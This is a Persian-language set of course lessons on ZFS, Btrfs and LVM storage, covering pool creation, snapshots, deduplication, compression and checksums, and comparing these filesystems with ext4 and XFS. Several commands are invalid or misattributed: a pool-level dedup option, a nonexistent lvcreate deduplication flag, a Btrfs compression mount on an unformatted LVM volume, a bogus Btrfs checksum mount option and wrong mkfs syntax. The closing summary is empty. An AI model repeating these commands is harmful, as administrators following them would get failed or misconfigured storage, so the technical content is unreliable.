[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”نحوه نصب، پیکربندی و استفاده از ZFS” subtitle=”توضیحات کامل”]ZFS یک سیستم فایل و مدیریت حجم منطقی (Logical Volume Manager) قدرتمند است که قابلیت‌هایی مانند Snapshots، Deduplication، Compression، RAID-Z و بسیاری دیگر را ارائه می‌دهد. در این بخش، نحوه نصب، پیکربندی و استفاده از ZFS را به همراه مثال‌های عملی بررسی می‌کنیم.


۱. نصب ZFS

۱.۱ نصب ZFS در توزیع‌های مختلف لینوکس
۱.۱.۱ نصب در Ubuntu/Debian
sudo apt update
sudo apt install -y zfsutils-linux
۱.۱.۲ نصب در CentOS/RHEL
sudo yum install -y epel-release
sudo yum install -y zfs
۱.۱.۳ نصب در Arch Linux
sudo pacman -S zfs-utils
۱.۲ بررسی نصب ZFS
modinfo zfs
zfs version

۲. ایجاد و مدیریت ZFS Pool

۲.۱ ایجاد یک ZFS Pool با یک دیسک
sudo zpool create zpool1 /dev/sdb

مسیر فایل تنظیمات: /etc/zfs/zpool.cache

۲.۲ بررسی وضعیت Pool
zpool status
zpool list
۲.۳ حذف یک ZFS Pool
sudo zpool destroy zpool1
۲.۴ ایجاد ZFS Pool با RAID-Z
  • RAID-Z1 (مشابه RAID-5):
sudo zpool create zpool1 raidz /dev/sdb /dev/sdc /dev/sdd
  • RAID-Z2 (مشابه RAID-6):
sudo zpool create zpool1 raidz2 /dev/sdb /dev/sdc /dev/sdd /dev/sde

۳. مدیریت فایل‌سیستم‌های ZFS

۳.۱ ایجاد یک فایل‌سیستم در ZFS
sudo zfs create zpool1/data
۳.۲ بررسی فایل‌سیستم‌های موجود
zfs list
۳.۳ حذف فایل‌سیستم ZFS
sudo zfs destroy zpool1/data
۳.۴ تنظیمات Mount و Unmount در ZFS
sudo zfs set mountpoint=/mnt/data zpool1/data
sudo zfs mount zpool1/data
sudo zfs unmount zpool1/data
۳.۵ تغییر اندازه فایل‌سیستم
sudo zfs set quota=10G zpool1/data

۴. Snapshots و Rollback در ZFS

۴.۱ ایجاد یک Snapshot
sudo zfs snapshot zpool1/data@snap1
۴.۲ مشاهده Snapshots موجود
zfs list -t snapshot
۴.۳ بازگردانی Snapshot
sudo zfs rollback zpool1/data@snap1
۴.۴ حذف Snapshot
sudo zfs destroy zpool1/data@snap1

۵. فشرده‌سازی (Compression) و حذف داده‌های تکراری (Deduplication)

۵.۱ فعال‌سازی فشرده‌سازی
sudo zfs set compression=lz4 zpool1
۵.۲ بررسی وضعیت فشرده‌سازی
zfs get compression zpool1
۵.۳ فعال‌سازی Deduplication
sudo zfs set dedup=on zpool1
۵.۴ بررسی وضعیت Deduplication
zfs get dedup zpool1

جمع‌بندی

  • ZFS یک سیستم فایل مدرن است که قابلیت مدیریت حجم، Snapshots، RAID-Z، Deduplication و Compression را ارائه می‌دهد.
  • ZFS Pool پایه اصلی ذخیره‌سازی در این سیستم است که از طریق RAID-Z1، RAID-Z2 و تک‌دیسک قابل‌پیاده‌سازی است.
  • فایل‌سیستم‌های ZFS می‌توانند به‌صورت داینامیک مدیریت شوند، بدون نیاز به فرمت مجدد.
  • Snapshots و Rollback امکان بازگردانی سریع داده‌ها را فراهم می‌کنند.
  • Compression و Deduplication کمک می‌کنند تا فضای ذخیره‌سازی بهینه‌تر مصرف شود.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تفاوت‌ها و مزایای استفاده از Btrfs و ZFS نسبت به سیستم فایل‌های سنتی” subtitle=”توضیحات کامل”]سیستم فایل‌های مدرن مانند Btrfs و ZFS در مقایسه با سیستم فایل‌های سنتی مانند ext4، XFS و NTFS قابلیت‌های پیشرفته‌ای ارائه می‌دهند که مدیریت داده‌ها را بهینه‌تر و امن‌تر می‌کند. در این بخش، تفاوت‌ها و مزایای این دو سیستم فایل را نسبت به سیستم‌های فایل سنتی بررسی خواهیم کرد.


۱. مقایسه کلی Btrfs و ZFS با سیستم فایل‌های سنتی

۱.۱ ساختار ذخیره‌سازی
  • ZFS و Btrfs دارای مدیریت یکپارچه حجم و سیستم فایل هستند، در حالی که در سیستم فایل‌های سنتی مانند ext4 و XFS حجم مدیریت جداگانه‌ای نیاز است (مثلاً LVM).
  • Btrfs و ZFS از Copy-on-Write (CoW) استفاده می‌کنند که باعث افزایش امنیت داده‌ها می‌شود، اما ext4 و XFS همچنان از مدل‌های سنتی نوشتن داده بهره می‌برند.
۱.۲ قابلیت Snapshots و Rollback
  • Btrfs و ZFS به‌طور داخلی از Snapshots پشتیبانی می‌کنند و امکان Rollback به نسخه‌های قبلی داده‌ها را فراهم می‌کنند.
  • در مقابل، سیستم فایل‌های سنتی مانند ext4 و XFS این ویژگی را ندارند و نیاز به ابزارهای اضافی مانند LVM snapshots دارند.
۱.۳ تحمل خطا و RAID داخلی
  • ZFS و Btrfs دارای RAID داخلی هستند که نیازی به RAID سخت‌افزاری یا نرم‌افزاری جداگانه ندارند.
  • سیستم فایل‌های سنتی برای پیاده‌سازی RAID نیاز به ابزارهای mdadm یا RAID سخت‌افزاری دارند.
۱.۴ حذف داده‌های تکراری (Deduplication)
  • ZFS از Deduplication پشتیبانی می‌کند که باعث کاهش فضای مصرفی برای داده‌های مشابه می‌شود.
  • Btrfs به‌طور رسمی Deduplication را پشتیبانی نمی‌کند و نیاز به ابزارهای جانبی مانند duperemove دارد.
  • سیستم‌های فایل سنتی مانند ext4 و XFS این قابلیت را به‌صورت پیش‌فرض ارائه نمی‌دهند.
۱.۵ فشرده‌سازی (Compression)
  • ZFS و Btrfs دارای قابلیت فشرده‌سازی داخلی هستند که به کاهش فضای ذخیره‌سازی و افزایش عملکرد کمک می‌کند.
  • ext4 و XFS از فشرده‌سازی داخلی پشتیبانی نمی‌کنند و نیاز به ابزارهای خارجی مانند zlib یا LZ4 دارند.

۲. مقایسه قابلیت‌های Btrfs و ZFS

قابلیت Btrfs ZFS ext4 XFS
مدیریت یکپارچه حجم و فایل‌سیستم ✅ بله ✅ بله ❌ خیر ❌ خیر
Copy-on-Write (CoW) ✅ بله ✅ بله ❌ خیر ❌ خیر
Snapshots ✅ بله ✅ بله ❌ خیر ❌ خیر
RAID داخلی ✅ بله ✅ بله ❌ خیر ❌ خیر
Deduplication ⭕ محدود (نیاز به ابزار خارجی) ✅ بله ❌ خیر ❌ خیر
Compression ✅ بله ✅ بله ❌ خیر ❌ خیر
Self-healing (اصلاح خودکار داده‌ها) ✅ بله ✅ بله ❌ خیر ❌ خیر
پشتیبانی از رمزنگاری داخلی ❌ خیر (نیاز به LUKS) ✅ بله ❌ خیر ❌ خیر

۳. بررسی مزایای ZFS و Btrfs نسبت به سیستم فایل‌های سنتی

۳.۱ امنیت داده‌ها و مقاومت در برابر خرابی
  • ZFS و Btrfs از Checksum و Self-healing برای شناسایی و اصلاح خودکار داده‌های خراب شده استفاده می‌کنند.
  • ext4 و XFS فاقد این قابلیت هستند و داده‌های خراب به‌سادگی ممکن است از بین بروند.
۳.۲ کاهش فضای ذخیره‌سازی با Compression و Deduplication
  • ZFS با استفاده از Deduplication و Compression می‌تواند حجم قابل‌توجهی از داده‌های تکراری را حذف کند.
  • Btrfs از Compression پشتیبانی می‌کند اما Deduplication را فقط با ابزارهای جانبی ارائه می‌دهد.
  • سیستم فایل‌های سنتی هیچ‌یک از این قابلیت‌ها را ندارند.
۳.۳ مدیریت بهتر حجم‌های ذخیره‌سازی
  • Btrfs و ZFS از Thin Provisioning به‌صورت داخلی پشتیبانی می‌کنند.
  • سیستم‌های سنتی مانند ext4 و XFS برای این قابلیت نیاز به ابزارهای خارجی مانند LVM دارند.
۳.۴ عملکرد بهینه در مدیریت داده‌های بزرگ
  • ZFS برای سیستم‌های بزرگ و سرورهای ذخیره‌سازی مناسب‌تر است، درحالی‌که Btrfs برای سیستم‌های رومیزی و NAS کاربردی‌تر است.
  • ext4 و XFS در بارهای کاری سنگین عملکرد خوبی دارند اما فاقد قابلیت‌های پیشرفته مدیریت داده‌ها هستند.

۴. جمع‌بندی

  • ZFS و Btrfs در مقایسه با سیستم فایل‌های سنتی مانند ext4 و XFS قابلیت‌های پیشرفته‌ای از جمله Snapshots، RAID داخلی، Compression و Self-healing را ارائه می‌دهند.
  • ZFS برای محیط‌های سروری و ذخیره‌سازی بزرگ مناسب است، در حالی که Btrfs برای سیستم‌های دسکتاپ و NAS کارایی بهتری دارد.
  • سیستم فایل‌های سنتی همچنان در برخی محیط‌ها مناسب هستند اما از نظر امنیت داده، کارایی و انعطاف‌پذیری قابل رقابت با ZFS و Btrfs نیستند.

[/cdb_course_lesson][cdb_course_lesson title=”فصل 3. Deduplication، Compression و Checksum”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”مفهوم Deduplication در ذخیره‌سازی” subtitle=”توضیحات کامل”]Deduplication یکی از تکنیک‌های بهینه‌سازی فضای ذخیره‌سازی است که با حذف داده‌های تکراری و نگهداری تنها یک نمونه از داده‌های مشابه، میزان فضای مصرف‌شده را کاهش می‌دهد. این فرآیند به‌ویژه در سیستم‌های پشتیبان‌گیری، ذخیره‌سازی ابری، پایگاه‌های داده و سرورهای مجازی‌سازی کاربرد دارد.


۱. روش‌های Deduplication

۱.۱ Deduplication در سطح فایل (File-level Deduplication)

در این روش، اگر دو یا چند فایل دقیقاً یکسان باشند، سیستم تنها یک نسخه از فایل را نگه می‌دارد و به‌جای ذخیره مجدد فایل‌های مشابه، اشاره‌گرهایی (hard links) به نسخه اصلی ایجاد می‌کند.

۱.۲ Deduplication در سطح بلاک (Block-level Deduplication)

در این روش، داده‌ها به بلاک‌هایی با اندازه ثابت یا متغیر تقسیم شده و هش هر بلاک محاسبه می‌شود. در صورت یافتن بلاک‌های مشابه، تنها یک نسخه از آن نگه داشته شده و سایر بلاک‌ها به آن اشاره می‌کنند.

۱.۳ Deduplication در سطح بایت (Byte-level Deduplication)

این روش دقیق‌ترین اما پرهزینه‌ترین روش است که تک‌تک بایت‌های داده را بررسی کرده و نسخه‌های تکراری را حذف می‌کند. این روش عمدتاً در سیستم‌های فشرده‌سازی و کاهش حجم داده‌های حجیم استفاده می‌شود.


۲. مزایای استفاده از Deduplication

  • کاهش مصرف فضای ذخیره‌سازی: با حذف داده‌های تکراری، میزان فضای ذخیره‌سازی موردنیاز کاهش می‌یابد.
  • بهبود کارایی پشتیبان‌گیری و بازیابی: حجم کمتر داده‌ها منجر به سرعت بالاتر در فرآیند Backup و Restore می‌شود.
  • افزایش کارایی شبکه: داده‌های کمتر برای انتقال به سرورهای پشتیبان یا فضای ابری ارسال شده و مصرف پهنای باند کاهش می‌یابد.
  • مدیریت بهتر داده‌ها: فضای ذخیره‌سازی کارآمدتر مدیریت شده و نیاز به دیسک‌های اضافی کمتر می‌شود.

۳. پیاده‌سازی Deduplication در ZFS

۳.۱ فعال‌سازی Deduplication هنگام ایجاد Pool

برای ایجاد یک استخر ذخیره‌سازی در ZFS با Deduplication فعال، از دستور زیر استفاده کنید:

zpool create -o dedup=on mypool mirror /dev/sdb /dev/sdc

در این دستور، mypool یک ZFS pool ایجاد کرده و Deduplication را روی آن فعال می‌کند.

۳.۲ فعال‌سازی Deduplication برای یک Dataset خاص

اگر بخواهید Deduplication را روی یک Dataset خاص فعال کنید، از دستور زیر استفاده کنید:

zfs set dedup=on mypool/dataset1

این دستور Deduplication را روی mypool/dataset1 فعال می‌کند.

۳.۳ بررسی وضعیت Deduplication در ZFS

برای مشاهده وضعیت Deduplication روی ZFS pool می‌توانید از این دستور استفاده کنید:

zpool list -o name,dedupratio

خروجی این دستور نسبت Deduplication را نشان می‌دهد، مثلاً 1.50x یعنی ۵۰٪ صرفه‌جویی در فضا.

۳.۴ غیرفعال‌سازی Deduplication در ZFS

اگر بخواهید Deduplication را غیرفعال کنید، از دستور زیر استفاده کنید:

zfs set dedup=off mypool/dataset1

این دستور Deduplication را روی Dataset مشخص‌شده غیرفعال می‌کند.


۴. پیاده‌سازی Deduplication در Btrfs

Btrfs به‌طور پیش‌فرض از Deduplication درون‌ساخت پشتیبانی نمی‌کند، اما می‌توان از ابزارهای جانبی مانند duperemove و bees برای این کار استفاده کرد.

۴.۱ نصب ابزار duperemove در Debian/Ubuntu
apt install duperemove -y
۴.۲ اجرای Deduplication روی یک فایل‌سیستم Btrfs
duperemove -dr /mnt/btrfs_volume

این دستور Deduplication را روی مسیر /mnt/btrfs_volume اجرا می‌کند.

۴.۳ بررسی میزان Deduplication در Btrfs
btrfs filesystem df /mnt/btrfs_volume

این دستور فضای ذخیره‌شده توسط Deduplication را نشان می‌دهد.


۵. جمع‌بندی

  • Deduplication یکی از روش‌های بهینه‌سازی ذخیره‌سازی است که داده‌های تکراری را حذف می‌کند.
  • ZFS دارای Deduplication داخلی است و به‌راحتی می‌توان آن را فعال یا غیرفعال کرد.
  • Btrfs به‌صورت پیش‌فرض از Deduplication پشتیبانی نمی‌کند و نیاز به ابزارهایی مانند duperemove دارد.
  • این روش باعث کاهش فضای اشغال‌شده، بهبود سرعت پشتیبان‌گیری و کاهش مصرف پهنای باند شبکه می‌شود.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تنظیمات Compression برای کاهش فضای ذخیره‌سازی” subtitle=”توضیحات کامل”]Compression یا فشرده‌سازی یکی از روش‌های مؤثر برای کاهش میزان فضای ذخیره‌سازی مصرفی در سیستم‌های فایل مدرن مانند ZFS، Btrfs و LVM است. این روش با کاهش حجم داده‌ها قبل از ذخیره‌سازی، میزان مصرف دیسک را بهینه کرده و در برخی موارد می‌تواند عملکرد خواندن و نوشتن را نیز بهبود دهد.


۱. انواع روش‌های فشرده‌سازی در سیستم‌های فایل

۱.۱ فشرده‌سازی در سطح فایل‌سیستم

برخی از فایل‌سیستم‌های پیشرفته مانند ZFS و Btrfs به‌صورت داخلی از فشرده‌سازی پشتیبانی می‌کنند و می‌توان آن را برای کل فایل‌سیستم یا بخش خاصی از آن فعال کرد.

۱.۲ فشرده‌سازی در سطح بلاک (Block-level Compression)

در LVM Thin Provisioning و برخی از فایل‌سیستم‌های دیگر، فشرده‌سازی در سطح بلاک انجام می‌شود که باعث کاهش فضای ذخیره‌سازی برای بلاک‌های داده تکراری یا کم‌مصرف می‌شود.

۱.۳ فشرده‌سازی در سطح نرم‌افزار

در برخی موارد، می‌توان از ابزارهایی مانند gzip، bzip2 یا xz برای فشرده‌سازی دستی فایل‌ها و دایرکتوری‌ها استفاده کرد.


۲. پیاده‌سازی فشرده‌سازی در ZFS

۲.۱ فعال‌سازی فشرده‌سازی هنگام ایجاد ZFS Pool

برای ایجاد یک ZFS pool با فشرده‌سازی فعال، از دستور زیر استفاده کنید:

zpool create -o ashift=12 -O compression=lz4 mypool mirror /dev/sdb /dev/sdc

در این دستور:

  • -O compression=lz4 فشرده‌سازی را با الگوریتم lz4 فعال می‌کند.
  • mypool نام ZFS pool است که ایجاد می‌شود.
۲.۲ فعال‌سازی فشرده‌سازی برای یک Dataset خاص

اگر بخواهید فشرده‌سازی را روی یک Dataset خاص فعال کنید، از دستور زیر استفاده کنید:

zfs set compression=lz4 mypool/dataset1

این دستور فشرده‌سازی lz4 را برای mypool/dataset1 فعال می‌کند.

۲.۳ بررسی وضعیت فشرده‌سازی در ZFS

برای مشاهده وضعیت فشرده‌سازی روی ZFS pool می‌توانید از این دستور استفاده کنید:

zfs get compression,compressratio mypool

این دستور نشان می‌دهد که فشرده‌سازی فعال است و نسبت فشرده‌سازی (Compress Ratio) چقدر است.

۲.۴ غیرفعال‌سازی فشرده‌سازی در ZFS

اگر بخواهید فشرده‌سازی را غیرفعال کنید، از دستور زیر استفاده کنید:

zfs set compression=off mypool/dataset1

این دستور فشرده‌سازی را برای Dataset مشخص‌شده غیرفعال می‌کند.


۳. پیاده‌سازی فشرده‌سازی در Btrfs

۳.۱ فعال‌سازی فشرده‌سازی هنگام Mount کردن فایل‌سیستم

برای فعال‌سازی فشرده‌سازی روی یک پارتیشن Btrfs، می‌توانید هنگام Mount کردن آن از گزینه compress استفاده کنید:

mount -o compress=zstd /dev/sdb1 /mnt/btrfs_volume

در این دستور، zstd به‌عنوان الگوریتم فشرده‌سازی استفاده می‌شود.

۳.۲ فعال‌سازی فشرده‌سازی برای کل فایل‌سیستم در fstab

برای فعال‌سازی فشرده‌سازی دائمی، باید آن را در فایل /etc/fstab اضافه کنید:

/dev/sdb1 /mnt/btrfs_volume btrfs defaults,compress=zstd 0 0

این تنظیم باعث می‌شود که در هر بار بوت سیستم، فایل‌سیستم با فشرده‌سازی فعال Mount شود.

۳.۳ بررسی وضعیت فشرده‌سازی در Btrfs

برای مشاهده میزان داده‌های فشرده‌شده در Btrfs، از دستور زیر استفاده کنید:

btrfs filesystem df /mnt/btrfs_volume

این دستور نشان می‌دهد که چه مقدار از داده‌های ذخیره‌شده فشرده شده‌اند.

۳.۴ غیرفعال‌سازی فشرده‌سازی در Btrfs

برای غیرفعال کردن فشرده‌سازی هنگام Mount کردن، از این گزینه استفاده کنید:

mount -o compress=no /dev/sdb1 /mnt/btrfs_volume

این دستور فشرده‌سازی را برای پارتیشن غیرفعال می‌کند.


۴. پیاده‌سازی فشرده‌سازی در LVM Thin Provisioning

LVM به‌طور مستقیم از فشرده‌سازی پشتیبانی نمی‌کند، اما در صورت استفاده از Thin Provisioning می‌توان از قابلیت‌های فشرده‌سازی درون‌ساخت هسته لینوکس مانند zram و zstd بهره برد.

۴.۱ ایجاد یک Volume Group با Thin Pool
lvcreate --type thin-pool -L 10G -n thinpool vg1

این دستور یک Thin Pool با ظرفیت ۱۰ گیگابایت در Volume Group به نام vg1 ایجاد می‌کند.

۴.۲ ایجاد یک Thin Volume و فعال‌سازی فشرده‌سازی
lvcreate -V5G --thinpool vg1/thinpool -n thinvol1
mount -o compress-force=zstd /dev/vg1/thinvol1 /mnt/thin_volume

در این دستور:

  • compress-force=zstd فشرده‌سازی را فعال می‌کند.
۴.۳ بررسی میزان فشرده‌سازی در Thin Volume
df -h /mnt/thin_volume

این دستور نشان می‌دهد که چه مقدار فضای واقعی روی دیسک مصرف شده است.

۴.۴ حذف یک Volume فشرده‌شده
lvremove /dev/vg1/thinvol1

این دستور Thin Volume را حذف می‌کند.


۵. جمع‌بندی

  • ZFS و Btrfs به‌طور داخلی از فشرده‌سازی پشتیبانی می‌کنند و می‌توان آن را برای کل سیستم فایل یا بخش خاصی از آن فعال کرد.
  • ZFS فشرده‌سازی را به‌صورت Transparent انجام می‌دهد و می‌توان آن را برای هر Dataset یا Pool مدیریت کرد.
  • Btrfs امکان فشرده‌سازی خودکار دارد و می‌توان آن را در fstab تنظیم کرد.
  • LVM مستقیماً از فشرده‌سازی پشتیبانی نمی‌کند، اما می‌توان از Thin Provisioning و فشرده‌سازی در سطح سیستم‌عامل استفاده کرد.
  • الگوریتم‌های محبوب برای فشرده‌سازی عبارتند از: lz4، zstd و gzip که هرکدام مزایای خاص خود را دارند.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”استفاده از Checksum برای صحت داده‌ها و جلوگیری از بین رفتن اطلاعات” subtitle=”توضیحات کامل”]Checksum یا کد بررسی صحت داده‌ها، مکانیزمی برای تشخیص خطا، خرابی و تغییرات ناخواسته در داده‌ها است. فایل‌سیستم‌های مدرن مانند ZFS و Btrfs از Checksum برای اطمینان از یکپارچگی داده‌ها استفاده می‌کنند. در این بخش، نحوه استفاده از Checksum در ZFS و Btrfs و همچنین ابزارهای بررسی Checksum در لینوکس بررسی خواهد شد.


۱. مفهوم Checksum و اهمیت آن در ذخیره‌سازی داده‌ها

۱.۱ چرا Checksum مهم است؟
  • تشخیص داده‌های خراب: اگر داده‌ای دچار تغییر یا خرابی شود، Checksum امکان شناسایی آن را فراهم می‌کند.
  • جلوگیری از Silent Data Corruption: برخی از خطاهای سخت‌افزاری ممکن است بدون هشدار اتفاق بیفتند، اما Checksum قادر به تشخیص آن‌هاست.
  • بهبود قابلیت اطمینان: با استفاده از Checksum، می‌توان داده‌های خراب را از طریق نسخه‌های سالم بازگرداند.
۱.۲ انواع الگوریتم‌های Checksum
  • CRC32: سریع ولی با امنیت پایین
  • SHA-256: قوی‌تر از CRC32
  • Fletcher-4 و Fletcher-64: متداول در ZFS
  • BLAKE2b: بسیار سریع و قدرتمند (در ZFS 0.8+ و Btrfs پشتیبانی می‌شود)

۲. استفاده از Checksum در ZFS

۲.۱ بررسی وضعیت Checksum در ZFS

ZFS به‌طور پیش‌فرض از Checksum استفاده می‌کند. برای مشاهده وضعیت Checksum روی یک Pool از دستور زیر استفاده کنید:

zfs get checksum mypool

این دستور مقدار Checksum تنظیم‌شده برای Pool mypool را نشان می‌دهد.

۲.۲ تغییر الگوریتم Checksum در ZFS

ZFS از چندین نوع الگوریتم Checksum پشتیبانی می‌کند. برای تغییر آن، از دستور زیر استفاده کنید:

zfs set checksum=sha256 mypool

این دستور Checksum را روی SHA-256 تنظیم می‌کند.

۲.۳ بررسی خطاهای Checksum در ZFS

برای بررسی وجود خطاهای Checksum در Pool، از دستور زیر استفاده کنید:

zpool status -v mypool

این دستور در صورت وجود خطای Checksum، تعداد آن‌ها را نمایش می‌دهد.

۲.۴ تصحیح خودکار داده‌های خراب با Checksum در ZFS

ZFS قابلیت Self-Healing دارد که در صورت وجود خطای Checksum، داده‌ها را از نسخه سالم بازگردانی می‌کند. برای اجرای یک اسکن دستی و اصلاح داده‌های خراب، از دستور زیر استفاده کنید:

zpool scrub mypool

این دستور یک بررسی کامل روی داده‌ها انجام داده و در صورت یافتن خطا، آن‌ها را اصلاح می‌کند.


۳. استفاده از Checksum در Btrfs

۳.۱ بررسی وضعیت Checksum در Btrfs

Btrfs به‌طور پیش‌فرض از Checksum برای جلوگیری از خرابی داده‌ها استفاده می‌کند. برای بررسی وضعیت آن، از این دستور استفاده کنید:

btrfs filesystem show /mnt/btrfs_volume

این دستور اطلاعات مربوط به Checksum فایل‌سیستم را نمایش می‌دهد.

۳.۲ فعال‌سازی Checksum هنگام Mount کردن در Btrfs

اگر بخواهید یک الگوریتم خاص Checksum را هنگام Mount کردن فایل‌سیستم استفاده کنید، دستور زیر را اجرا کنید:

mount -o checksum=xxhash /dev/sdb1 /mnt/btrfs_volume

این دستور از الگوریتم Checksum نوع xxhash استفاده می‌کند که سریع و کارآمد است.

۳.۳ تغییر الگوریتم Checksum در Btrfs

برای تغییر الگوریتم Checksum در یک پارتیشن Btrfs، باید فایل‌سیستم را با گزینه -c فرمت کنید:

mkfs.btrfs -O checksum=blake2 /dev/sdb1

این دستور فایل‌سیستم را با الگوریتم BLAKE2 که سریع‌تر از SHA256 است، ایجاد می‌کند.

۳.۴ بررسی و تصحیح خطاهای Checksum در Btrfs

Btrfs امکان بررسی و اصلاح داده‌های خراب را با استفاده از دستور scrub فراهم می‌کند:

btrfs scrub start /mnt/btrfs_volume

این دستور Checksum داده‌ها را بررسی کرده و در صورت یافتن خطای خرابی، آن را اصلاح می‌کند.

برای مشاهده وضعیت اسکن و خطاهای یافت شده:

btrfs scrub status /mnt/btrfs_volume

این دستور گزارش Scrubbing را نمایش می‌دهد.


۴. بررسی صحت داده‌ها با Checksum در لینوکس (ابزارهای عمومی)

اگر سیستم‌فایلی که استفاده می‌کنید از Checksum داخلی پشتیبانی نمی‌کند، می‌توان از ابزارهای استاندارد لینوکس برای بررسی صحت داده‌ها استفاده کرد.

۴.۱ بررسی Checksum فایل با md5sum
md5sum myfile.iso

این دستور مقدار MD5 Checksum فایل myfile.iso را تولید می‌کند.

۴.۲ بررسی Checksum فایل با sha256sum
sha256sum myfile.iso

این دستور مقدار Checksum بر پایه SHA-256 را برای فایل تولید می‌کند.

۴.۳ بررسی تمامیت فایل‌ها با sha512sum
sha512sum myfile.iso

این دستور Checksum بر پایه SHA-512 را برای امنیت بیشتر تولید می‌کند.

۴.۴ ذخیره و بررسی Checksum برای فایل‌ها

ابتدا مقدار Checksum را ذخیره کنید:

sha256sum myfile.iso > checksum.sha256

سپس برای بررسی صحت فایل از Checksum ذخیره‌شده استفاده کنید:

sha256sum -c checksum.sha256

اگر فایل تغییری نکرده باشد، پیام OK نمایش داده می‌شود.


جمع‌بندی

  • ZFS و Btrfs به‌طور پیش‌فرض از Checksum استفاده می‌کنند تا از خرابی داده‌ها جلوگیری کنند.
  • ZFS با قابلیت Scrubbing و Self-Healing می‌تواند داده‌های خراب را به‌طور خودکار بازگردانی کند.
  • Btrfs از Checksum برای هر بلاک استفاده کرده و قابلیت بررسی و اصلاح داده‌های خراب را دارد.
  • ابزارهای عمومی مانند sha256sum و md5sum در لینوکس برای بررسی صحت داده‌های ذخیره‌شده در فایل‌ها به کار می‌روند.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”ابزارها و تنظیمات مربوط به Deduplication و Compression در سیستم‌های ذخیره‌سازی مختلف” subtitle=”توضیحات کامل”]Deduplication و Compression دو قابلیت مهم در مدیریت فضای ذخیره‌سازی هستند که در سیستم‌فایل‌های پیشرفته مانند ZFS، Btrfs و LVM پشتیبانی می‌شوند. Deduplication با حذف داده‌های تکراری و Compression با کاهش حجم داده‌ها باعث صرفه‌جویی در فضای ذخیره‌سازی و افزایش عملکرد سیستم می‌شوند. در این بخش، ابزارها و تنظیمات مربوط به این دو ویژگی در سیستم‌فایل‌های مختلف بررسی خواهد شد.


۱. Deduplication در سیستم‌های ذخیره‌سازی

Deduplication فرآیندی است که داده‌های تکراری را شناسایی و تنها یک نسخه از آن را ذخیره می‌کند. این فرآیند در دو سطح بلوک (Block-Level) و فایل (File-Level) انجام می‌شود.

۱.۱ Deduplication در ZFS

ZFS یکی از پیشرفته‌ترین سیستم‌فایل‌ها برای Deduplication است که این قابلیت را در سطح بلوک ارائه می‌دهد.

بررسی وضعیت Deduplication در ZFS

zfs get dedup mypool

این دستور مقدار فعلی Deduplication را در ZFS نشان می‌دهد.

فعال‌سازی Deduplication در ZFS

zfs set dedup=on mypool

این دستور Deduplication را برای Pool فعال می‌کند.

غیرفعال‌سازی Deduplication در ZFS

zfs set dedup=off mypool

این دستور Deduplication را غیرفعال می‌کند.

بررسی میزان صرفه‌جویی حاصل از Deduplication در ZFS

zpool list mypool

در این گزارش مقدار DEDUP RATIO نشان می‌دهد که چند برابر فضای صرفه‌جویی شده است.

۱.۲ Deduplication در Btrfs

Btrfs برخلاف ZFS، Deduplication را به‌طور پیش‌فرض پشتیبانی نمی‌کند اما ابزارهایی مانند duperemove و bees برای اجرای آن در دسترس هستند.

نصب duperemove برای Deduplication در Btrfs

apt install duperemove  # Debian/Ubuntu
dnf install duperemove  # Fedora

اجرای Deduplication در یک دایرکتوری خاص

duperemove -dr /mnt/btrfs_volume

این دستور فایل‌های تکراری را شناسایی و Deduplication را اعمال می‌کند.

۱.۳ Deduplication در LVM (Thin Provisioning)

LVM از Deduplication در Thin Volume‌ها پشتیبانی می‌کند. برای فعال‌سازی این قابلیت، باید هنگام ایجاد Volume گزینه --deduplication را تنظیم کرد.

ایجاد یک Thin Volume با Deduplication فعال

lvcreate -L 10G --thinpool --deduplication my_vg/my_thinpool

این دستور یک Thin Pool با قابلیت Deduplication ایجاد می‌کند.


۲. Compression در سیستم‌های ذخیره‌سازی

Compression فرآیند کاهش حجم داده‌ها بدون از دست دادن اطلاعات است. این قابلیت به کاهش مصرف فضای ذخیره‌سازی و بهبود عملکرد کمک می‌کند.

۲.۱ Compression در ZFS

ZFS چندین الگوریتم فشرده‌سازی ارائه می‌دهد، از جمله lz4، gzip و zstd.

بررسی وضعیت Compression در ZFS

zfs get compression mypool

این دستور نشان می‌دهد که Compression در حال حاضر فعال است یا خیر.

فعال‌سازی فشرده‌سازی در ZFS با lz4

zfs set compression=lz4 mypool

این دستور فشرده‌سازی را روی Pool تنظیم می‌کند.

فعال‌سازی فشرده‌سازی در ZFS با gzip سطح ۹ (حداکثر فشرده‌سازی)

zfs set compression=gzip-9 mypool

این دستور حداکثر فشرده‌سازی را روی Pool فعال می‌کند.

۲.۲ Compression در Btrfs

Btrfs از الگوریتم‌های zlib، lzo و zstd برای فشرده‌سازی داده‌ها استفاده می‌کند.

فعال‌سازی فشرده‌سازی هنگام Mount کردن Btrfs

mount -o compress=zstd /dev/sdb1 /mnt/btrfs_volume

این دستور فشرده‌سازی را روی zstd تنظیم می‌کند.

تغییر فشرده‌سازی برای یک Subvolume خاص

btrfs property set /mnt/btrfs_volume compress lzo

این دستور فشرده‌سازی را برای Subvolume تغییر می‌دهد.

۲.۳ Compression در LVM (Thin Provisioning)

LVM به‌صورت پیش‌فرض از Compression پشتیبانی نمی‌کند، اما با استفاده از dm-crypt و VDO می‌توان Compression را پیاده‌سازی کرد.

نصب vdo برای فشرده‌سازی در LVM

dnf install vdo

ایجاد Volume با فشرده‌سازی فعال

vdo create --name=my_vdo --device=/dev/sdb --compression

این دستور یک Volume با قابلیت Compression ایجاد می‌کند.


۳. مقایسه Deduplication و Compression در سیستم‌فایل‌ها

قابلیت ZFS Btrfs LVM
Deduplication ✅ بومی (نیاز به RAM زیاد) ⭕ از طریق duperemove ✅ در Thin Provisioning
Compression ✅ بومی (lz4, gzip, zstd) ✅ بومی (zlib, lzo, zstd) ⭕ از طریق VDO
Self-Healing ✅ دارد ✅ دارد ❌ ندارد
سرعت پردازش 🔵 متوسط (وابسته به RAM) 🟢 سریع (بهینه برای SSD) 🟡 کند (در Thin Provisioning)

جمع‌بندی

